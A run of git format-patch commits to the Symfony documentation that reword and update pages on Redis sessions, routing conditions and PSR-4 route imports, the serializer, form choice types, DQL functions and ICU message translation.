 session/database.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/session/database.rst b/session/database.rst
index cacc56b18fa..0637759dfb0 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -17,6 +17,17 @@ Store Sessions in a key-value Database (Redis)
 This section assumes that you have a fully-working Redis server and have also
 installed and configured the `phpredis extension`_.
 
+Via the redis extension it is possible to configure redis as a session handler
+directly in the servers ``php.ini`` file.
+
+.. code-block:: ini
+
+    ; php.ini
+    session.save_handler = redis
+    session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
+
+Alternative you can configure it in the Symfony application.
+
 First, define a Symfony service for the connection to the Redis server:
 
 .. configuration-block::

From 2c5916880172e5e7069cca1e2fad6265ecda1d75 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 09:09:45 +0200
Subject: [PATCH 2472/5766] Reword

---
 session/database.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index 0637759dfb0..2100e4ceb77 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -17,8 +17,10 @@ Store Sessions in a key-value Database (Redis)
 This section assumes that you have a fully-working Redis server and have also
 installed and configured the `phpredis extension`_.
 
-Via the redis extension it is possible to configure redis as a session handler
-directly in the servers ``php.ini`` file.
+You have two different options to use Redis to store sessions:
+
+(1) The first PHP-based option is to configure Redis session handler directly in
+the server ``php.ini`` file:
 
 .. code-block:: ini
 
@@ -26,7 +28,7 @@ directly in the servers ``php.ini`` file.
     session.save_handler = redis
     session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
 
-Alternative you can configure it in the Symfony application.
+(2) The second Symfony-based option is to configure Redis sessions as follows.
 
 First, define a Symfony service for the connection to the Redis server:
 

From b688f71a125ddfae5ecd81bf973046c6dc6dca5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 09:35:02 +0200
Subject: [PATCH 2473/5766] Minor reword

---
 cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index 896738be099..d7990c0d88b 100644
--- a/cache.rst
+++ b/cache.rst
@@ -103,8 +103,8 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
 
 .. tip::
 
-    While it is possible to reconfigure the system cache, it is not recommended, because
-    the default is really the best possible configuration.
+    While it is possible to reconfigure the ``system`` cache, it's recommended
+    to keep the default configuration applied to it by Symfony.
 
 The Cache component comes with a series of adapters pre-configured:
 

From 4e72ef3e5eb009e090a5f0e107996398b0fa3043 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 19 Aug 2022 18:20:21 +0200
Subject: [PATCH 2474/5766] [Routing] Adding full example for a Service in
 Route Condition

---
 routing.rst | 22 +++++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 0883f671284..c187b42bb06 100644
--- a/routing.rst
+++ b/routing.rst
@@ -379,7 +379,27 @@ You can also use these functions:
 ``service(string $alias)``
     Returns a routing condition service.
     You'll have to add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
-    tag to your service if you want to use it in the condition.
+    tag to your service if you want to use it in the condition::
+    
+    
+        // Controller (using an alias):
+        #[Route(condition: "service('route_checker').check(request)")]
+        // Or without alias:
+        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
+    
+    .. code-block:: php
+
+        use Symfony\Bundle\FrameworkBundle\Routing\Attribute\AsRoutingConditionService;
+        use Symfony\Component\HttpFoundation\Request;
+
+        #[AsRoutingConditionService(alias: 'route_checker')]
+        class RouteChecker
+        {
+            public function check(Request $request): bool
+            {
+                // ...
+            }
+        }
 
 .. versionadded:: 6.1
 

From 8c3cb808c6cf995e9283258907a5ccfd7a73110a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 10:03:00 +0200
Subject: [PATCH 2475/5766] Minor reword

---
 routing.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/routing.rst b/routing.rst
index 999f204af02..4690bcd0e7e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -378,16 +378,9 @@ You can also use these functions:
 
 ``service(string $alias)``
     Returns a routing condition service.
-    You'll have to add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
-    tag to your service if you want to use it in the condition::
-    
-    
-        // Controller (using an alias):
-        #[Route(condition: "service('route_checker').check(request)")]
-        // Or without alias:
-        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
-    
-    .. code-block:: php
+
+    First, add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
+    tag to the services that you want to use in route conditions::
 
         use Symfony\Bundle\FrameworkBundle\Routing\Attribute\AsRoutingConditionService;
         use Symfony\Component\HttpFoundation\Request;
@@ -401,6 +394,13 @@ You can also use these functions:
             }
         }
 
+    Then, use the ``service()`` function to refer to that service inside conditions::
+
+        // Controller (using an alias):
+        #[Route(condition: "service('route_checker').check(request)")]
+        // Or without alias:
+        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
+
 .. versionadded:: 6.1
 
     The ``service(string $alias)`` function and ``#[AsRoutingConditionService]``

From 95b8fea91a5ebfb2c006c305b5c6e3406c043dd0 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Tue, 25 Oct 2022 07:10:42 -0400
Subject: [PATCH 2476/5766] [DependencyInjection] Show how to get $myService

---
 service_container/service_subscribers_locators.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index eadecea3fd2..d10c71f4867 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -467,6 +467,8 @@ will share identical locators among all the services referencing them::
             // ...
             'logger' => new Reference('logger'),
         ];
+        
+        $myService = $container->findDefinition(MyService::class);
 
         $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));
     }

From ebda0298b8c858c74e09deb1963d20921eb8ff3b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 11:17:28 +0200
Subject: [PATCH 2477/5766] Tweaks

---
 doctrine/custom_dql_functions.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index f970512e1bc..39ded025967 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -148,6 +148,8 @@ In Symfony, you can register your custom DQL functions as follows:
 
 .. caution::
 
-    It is not possible to inject Symfony services or parameters into a custom DQL function.
+    DQL functions are instantiated by Doctrine outside of the Symfony
+    :doc:`service container </service_container>` so you can't inject services
+    or parameters into a custom DQL function.
 
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html

From c1ab456abfbce08e78825ae252d970ed7d239c69 Mon Sep 17 00:00:00 2001
From: Guillaume Loulier <guillaume.loulier@hotmail.fr>
Date: Wed, 23 Mar 2022 16:13:51 +0100
Subject: [PATCH 2478/5766] refactor(reference): document kernel.locale_aware

---
 reference/dic_tags.rst | 71 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 28d11c3c392..942b7fc7134 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -453,6 +453,77 @@ To add a new rendering strategy - in addition to the core strategies like
 :class:`Symfony\\Component\\HttpKernel\\Fragment\\FragmentRendererInterface`,
 register it as a service, then tag it with ``kernel.fragment_renderer``.
 
+kernel.locale_aware
+-------------------
+
+.. versionadded:: 4.3
+
+    The ``kernel.locale_aware`` tag was introduced in Symfony 4.3.
+
+**Purpose**: To access and use the current :doc:`locale </translation/locale>`
+
+Setting and retrieving the locale can be done via configuration or using
+container parameters, listeners, route parameters or the current request.
+
+Thanks to the ``Translation`` contract, the locale can be set via services.
+
+To register your own locale aware service, first create a service that implements
+the :class:`Symfony\\Contracts\\Translation\\LocaleAwareInterface` interface::
+
+    // src/Locale/MyCustomLocaleHandler.php
+    namespace App\Locale;
+
+    use Symfony\Contracts\Translation\LocaleAwareInterface;
+
+    class MyCustomLocaleHandler implements LocaleAwareInterface
+    {
+        public function setLocale($locale)
+        {
+            $this->locale = $locale;
+        }
+
+        public function getLocale()
+        {
+            return $this->locale;
+        }
+    }
+
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+your service will be automatically tagged with ``kernel.locale_aware``. But, you
+can also register it manually:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Locale\MyCustomLocaleHandler:
+                tags: [kernel.locale_aware]
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Locale\MyCustomLocaleHandler">
+                    <tag name="kernel.locale_aware"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Locale\MyCustomLocaleHandler;
+
+        $container
+            ->register(LocaleHandler::class)
+            ->addTag('kernel.locale_aware')
+        ;
+
 kernel.reset
 ------------
 

From e569eb9dc0f6392bfa360d4c4350ab5c48918c1e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 12:26:50 +0200
Subject: [PATCH 2479/5766] Remove a versionadded directive

---
 reference/dic_tags.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index c36de4397e3..e163756835e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -642,10 +642,6 @@ register it as a service, then tag it with ``kernel.fragment_renderer``.
 kernel.locale_aware
 -------------------
 
-.. versionadded:: 4.3
-
-    The ``kernel.locale_aware`` tag was introduced in Symfony 4.3.
-
 **Purpose**: To access and use the current :doc:`locale </translation/locale>`
 
 Setting and retrieving the locale can be done via configuration or using

From f6f0755a14a04b7a2759b0342e7e72a2f509f709 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 13:35:34 +0200
Subject: [PATCH 2480/5766] Minor tweaks

---
 components/serializer.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5466b543f47..ce6738fa1d8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1273,17 +1273,19 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
-Skipping uninitialized properties
+Skipping Uninitialized Properties
 ---------------------------------
 
-PHP 7.4 introduced typed properties, which have a new state - ``uninitialized``.
-This is different from the default ``null`` of untyped properties.
-When you try to access it before giving it an explicit value - you get an error.
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
 
-By default, to avoid the Serializer throwing an error when serializing or normalizing an object with
-uninitialized properties, object normalizer catches these errors and ignores such properties.
+To avoid the Serializer throwing an error when serializing or normalizing an
+object with uninitialized properties, by default the object normalizer catches
+these errors and ignores such properties.
 
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to ``false``::
+You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
+context option to ``false``::
 
     class Dummy {
         public string $foo = 'initialized';
@@ -1296,11 +1298,15 @@ You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UN
 
 .. note::
 
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize`` with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set to ``false`` will throw an ``\Error`` instance if the given object has uninitialized properties as the normalizer cannot read them (directly or via getter/isser methods).
+    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
+    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
+    properties as the normalizer cannot read them (directly or via getter/isser methods).
 
 .. versionadded:: 5.4
 
-    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was introduced in Symfony 5.4.
+    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was
+    introduced in Symfony 5.4.
 
 .. _component-serializer-handling-circular-references:
 

From d7c786b202df0e03f4c22a3c0bbeff7aa45c733f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 13:37:02 +0200
Subject: [PATCH 2481/5766] Remove the versionadded directive

---
 components/serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 4bc1491f959..cb24c7bf5d7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1223,11 +1223,6 @@ context option to ``false``::
     to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
     properties as the normalizer cannot read them (directly or via getter/isser methods).
 
-.. versionadded:: 5.4
-
-    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was
-    introduced in Symfony 5.4.
-
 .. _component-serializer-handling-circular-references:
 
 Collecting Type Errors While Denormalizing

From ab59ab8fdf6270d9443c2562fbf1748a9d815afc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 15:22:54 +0200
Subject: [PATCH 2482/5766] Minor tweaks

---
 routing.rst                     | 14 ++++++++------
 routing/custom_route_loader.rst | 13 ++++++++-----
 2 files changed, 16 insertions(+), 11 deletions(-)

diff --git a/routing.rst b/routing.rst
index 51eb16ae432..8a8ea5b2dc5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -36,18 +36,20 @@ Otherwise, create the following file manually:
 
     # config/routes/attributes.yaml
     controllers:
-        resource: ../../src/Controller/
-        type: attribute@App\Controller
+        resource:
+            path: ../../src/Controller/
+            namespace: App\Controller
+        type: attribute
 
     kernel:
         resource: App\Kernel
         type: attribute
 
 This configuration tells Symfony to look for routes defined as attributes on
-classes declared in the ``App\Controller`` namespace which are stored in the
-``src/Controller/`` directory which follows the PSR-4 standard. In addition,
-our kernel can act as a controller as well which is especially useful for small
-applications that use Symfony as a microframework.
+classes declared in the ``App\Controller`` namespace and stored in the
+``src/Controller/`` directory which follows the PSR-4 standard. The kernel can
+act as a controller too, which is especially useful for small applications that
+use Symfony as a microframework.
 
 .. versionadded:: 6.2
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 12538a78311..5aa90a8712d 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -26,8 +26,10 @@ Symfony provides several route loaders for the most common needs:
 
         app_psr4:
             # loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root
-            resource: '../src/Controller/'
-            type:     attribute@App\Controller
+            resource:
+                path: '../src/Controller/'
+                namespace: App\Controller
+            type: attribute
 
         app_attributes:
             # loads routes from the PHP attributes of the controllers found in that directory
@@ -62,7 +64,9 @@ Symfony provides several route loaders for the most common needs:
             <import resource="@AcmeBundle/Resources/config/routing.yaml"/>
 
             <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root -->
-            <import resource="../src/Controller/" type="attribute@App\Controller"/>
+            <import type="attribute">
+                <resource path="../src/Controller/" namespace="App\Controller" />
+            </import>
 
             <!-- loads routes from the PHP attributes of the controllers found in that directory -->
             <import resource="../src/Controller/" type="attribute"/>
@@ -111,8 +115,7 @@ Symfony provides several route loaders for the most common needs:
 
 .. versionadded:: 6.2
 
-    The possibility to suffix the ``attribute`` resource type with a PSR-4
-    namespace root was introduced in Symfony 6.2.
+    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
 
 .. note::
 

From e792002580c6733c43f1d07f8d7198a05e01cae1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 15:23:28 +0200
Subject: [PATCH 2483/5766] More tweaks

---
 routing.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 8a8ea5b2dc5..cdd894e4ae5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -53,8 +53,7 @@ use Symfony as a microframework.
 
 .. versionadded:: 6.2
 
-    The possibility to suffix the ``attribute`` resource type with a PSR-4
-    namespace root was introduced in Symfony 6.2.
+    The feature to import routes from a PSR-4 namespace root was introduced in Symfony 6.2.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:

From 8a05949f6d286e5ea12ffac64109d27011f7d8f5 Mon Sep 17 00:00:00 2001
From: Gauthier Gilles <gilles.gauthier31@gmail.com>
Date: Fri, 21 Oct 2022 11:05:04 +0200
Subject: [PATCH 2484/5766] [Form][Form Choice] customize choice entry

---
 reference/forms/types/choice.rst | 39 ++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 398e4020abe..3982e20efdf 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -323,3 +323,42 @@ Field Variables
 
     It's significantly faster to use the :ref:`selectedchoice <form-twig-selectedchoice>`
     test instead when using Twig.
+
+
+Access data in a Form Choice
+.............................
+
+When you use an expanded ``ChoiceType`` and need to customize the children ``entry`` blocks,
+the ``form.vars`` of entries (radio button or checkbox) may not be enough since each holds a
+boolean value meaning whether a choice is selected or not.
+To get the full list of choices data and values, you will need to access the ``choices`` variable
+from their parent form (the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
+
+Given the advanced object example, each entry would have access to the following variables:
+
+.. code-block:: html+twig
+
+    {# `true` or `false`, whether the current choice is selected as radio or checkbox #}
+    {{ form.vars.data }}
+
+    {# the current choice value (i.e a category name when `'choice_value' => 'name'` #}
+    {{ form.vars.value }}
+
+    {# a map of `ChoiceView` or `ChoiceGroupView` instances indexed by choice values or group names #}
+    {{ form.parent.vars.choices }}
+
+So the Category's entity is inside ``form.parent.vars.choices[key].data``, because the parent knows all the choices.
+
+.. code-block:: html+twig
+
+    {% block _form_categories_entry_widget %}
+        {% set entity = form.parent.vars.choices[form.vars.value].data %}
+
+        <tr>
+            <td>{{ form_widget(form) }}</td>
+            <td>{{ form.vars.label }}</td>
+            <td>
+                {{ entity.name }} | {{ entity.group }}
+            </td>
+        </tr>
+    {% endblock %}

From bb06b33d2f344ede13616821449c5bc4232eb5f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 16:31:55 +0200
Subject: [PATCH 2485/5766] Reword

---
 reference/forms/types/choice.rst | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3982e20efdf..7b003585d12 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -321,20 +321,16 @@ Field Variables
 
 .. tip::
 
-    It's significantly faster to use the :ref:`selectedchoice <form-twig-selectedchoice>`
-    test instead when using Twig.
+    In Twig template, instead of using ``is_selected()``, it's significantly
+    faster to use the :ref:`selectedchoice <form-twig-selectedchoice>` test.
 
+Accessing Form Choice Data
+...........................
 
-Access data in a Form Choice
-.............................
-
-When you use an expanded ``ChoiceType`` and need to customize the children ``entry`` blocks,
-the ``form.vars`` of entries (radio button or checkbox) may not be enough since each holds a
-boolean value meaning whether a choice is selected or not.
-To get the full list of choices data and values, you will need to access the ``choices`` variable
-from their parent form (the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
-
-Given the advanced object example, each entry would have access to the following variables:
+The ``form.vars`` variable of each choice entry holds data such as whether the
+choice is selected or not. If you need to get the full list of choices data and
+values, use the ``choices`` variable from the parent form of the choice entry
+(which is the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
 
 .. code-block:: html+twig
 
@@ -347,7 +343,8 @@ Given the advanced object example, each entry would have access to the following
     {# a map of `ChoiceView` or `ChoiceGroupView` instances indexed by choice values or group names #}
     {{ form.parent.vars.choices }}
 
-So the Category's entity is inside ``form.parent.vars.choices[key].data``, because the parent knows all the choices.
+Following the same advanced example as above (where choices values are entities),
+the ``Category`` object is inside ``form.parent.vars.choices[key].data``::
 
 .. code-block:: html+twig
 

From fd73939ff08941d31010593c393e430da1443213 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 14 Jun 2022 14:11:02 +0200
Subject: [PATCH 2486/5766] Update serializer.rst

---
 components/serializer.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 7b5c7af5ca0..c2d08afc900 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -74,20 +74,20 @@ exists in your project::
 
     class Person
     {
-        private $age;
-        private $name;
-        private $sportsperson;
-        private $createdAt;
+        private int $age;
+        private string $name;
+        private bool $sportsperson;
+        private ?\DateTime $createdAt;
 
         // Getters
-        public function getName()
+        public function getAge(): int
         {
-            return $this->name;
+            return $this->age;
         }
 
-        public function getAge()
+        public function getName(): string
         {
-            return $this->age;
+            return $this->name;
         }
 
         public function getCreatedAt()
@@ -96,28 +96,28 @@ exists in your project::
         }
 
         // Issers
-        public function isSportsperson()
+        public function isSportsperson(): bool
         {
             return $this->sportsperson;
         }
 
         // Setters
-        public function setName($name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
 
-        public function setAge($age)
+        public function setAge(int $age): void
         {
             $this->age = $age;
         }
 
-        public function setSportsperson($sportsperson)
+        public function setSportsperson(bool $sportsperson): void
         {
             $this->sportsperson = $sportsperson;
         }
 
-        public function setCreatedAt($createdAt)
+        public function setCreatedAt(\DateTime $createdAt = null): void
         {
             $this->createdAt = $createdAt;
         }

From 354c5840f0ac8ffab7c8523fa4bdf744be584248 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:12:30 +0200
Subject: [PATCH 2487/5766] Minor tweak

---
 components/serializer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c2d08afc900..6aae1c72049 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -102,14 +102,14 @@ exists in your project::
         }
 
         // Setters
-        public function setName(string $name): void
+        public function setAge(int $age): void
         {
-            $this->name = $name;
+            $this->age = $age;
         }
 
-        public function setAge(int $age): void
+        public function setName(string $name): void
         {
-            $this->age = $age;
+            $this->name = $name;
         }
 
         public function setSportsperson(bool $sportsperson): void

From 160d849dda16766bab217072aa091f03be0e26d9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:21:43 +0200
Subject: [PATCH 2488/5766] Tweak

---
 controller/service.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index f1fb3e6258b..724143e3046 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -28,13 +28,8 @@ in method parameters:
            resource: '../src/Controller/'
            tags: ['controller.service_arguments']
 
-.. versionadded:: 5.3
-
-    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
-
-If you are using PHP 8.0 or later, you can use the ``#[AsController]`` PHP
-attribute to automatically apply the ``controller.service_arguments`` tag to
-your controller services::
+If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
+apply the ``controller.service_arguments`` tag to your controller services::
 
     // src/Controller/HelloController.php
     namespace App\Controller;
@@ -52,6 +47,10 @@ your controller services::
         }
     }
 
+.. versionadded:: 5.3
+
+    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
+
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.

From ceeeecf3488c4c6487ddaf4d90c19c783ea2ad5d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:22:33 +0200
Subject: [PATCH 2489/5766] Remove the versionadded directive

---
 controller/service.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index cef74aafbe1..146aae5b7f2 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -47,10 +47,6 @@ apply the ``controller.service_arguments`` tag to your controller services::
         }
     }
 
-.. versionadded:: 5.3
-
-    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
-
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.

From 0ad2d2ff87caea085a2753803cce0979bd54f7ba Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Jun 2022 11:42:09 +0200
Subject: [PATCH 2490/5766] [Form] fix EntityType with multiple=true return
 type

---
 reference/forms/types/entity.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index ec3dbc2eb70..0f97fc42d92 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -236,7 +236,16 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/group_by.rst.inc
 
-.. include:: /reference/forms/types/options/multiple.rst.inc
+``multiple``
+~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If true, the user will be able to select multiple options (as opposed
+to choosing just one option). Depending on the value of the ``expanded``
+option, this will render either a select tag or checkboxes if true and
+a select tag or radio buttons if false. The returned value will be a
+Doctrine's Array Collection.
 
 .. note::
 

From f8a517915d65738797afd11b7e600b4acde57d6e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:37:12 +0200
Subject: [PATCH 2491/5766] Minor tweak

---
 reference/forms/types/entity.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 0f97fc42d92..721a503aae2 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -241,10 +241,10 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 **type**: ``boolean`` **default**: ``false``
 
-If true, the user will be able to select multiple options (as opposed
+If ``true``, the user will be able to select multiple options (as opposed
 to choosing just one option). Depending on the value of the ``expanded``
-option, this will render either a select tag or checkboxes if true and
-a select tag or radio buttons if false. The returned value will be a
+option, this will render either a select tag or checkboxes if ``true`` and
+a select tag or radio buttons if ``false``. The returned value will be a
 Doctrine's Array Collection.
 
 .. note::

From 2db0c5937f335eebbac5de013ca22a6b004ff429 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 17:56:10 +0200
Subject: [PATCH 2492/5766] Minor tweak

---
 translation/message_format.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index fd817a94d9d..ceaf26dafbe 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -203,8 +203,9 @@ you to use literal text in the select statements:
                 'organizer_name' => 'Ryan',
                 'organizer_gender' => 'male',
             ],
-            // Appends the required suffix "+intl-icu" to the domain
-            'messages'.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX
+            // if you prefer, the required "+intl-icu" suffix is also defined as a constant:
+            // Symfony\Component\Translation\MessageCatalogueInterface::INTL_DOMAIN_SUFFIX
+            'messages+intl-icu'
         );
 
 .. _component-translation-pluralization:

From c4ee64a5fa0ced5f3e63e36b4ec975f2db2f0961 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Oct 2022 19:26:17 +0200
Subject: [PATCH 2493/5766] Remove an unneeded import

---
 translation/message_format.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index ceaf26dafbe..1f99d1a2fdb 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -187,8 +187,6 @@ you to use literal text in the select statements:
     It's possible to translate ICU MessageFormat messages directly in code,
     without having to define them in any file::
 
-        use Symfony\Component\Translation\MessageCatalogueInterface;
-
         $invitation = '{organizer_gender, select,
             female   {{organizer_name} has invited you to her party!}
             male     {{organizer_name} has invited you to his party!}

From b3709ad0137e16c4a10a82a2f3d57e28c750a060 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Thu, 27 Oct 2022 00:26:30 +0200
Subject: [PATCH 2494/5766] Fix syntax for loading PSR-4 routes from PHP files

---
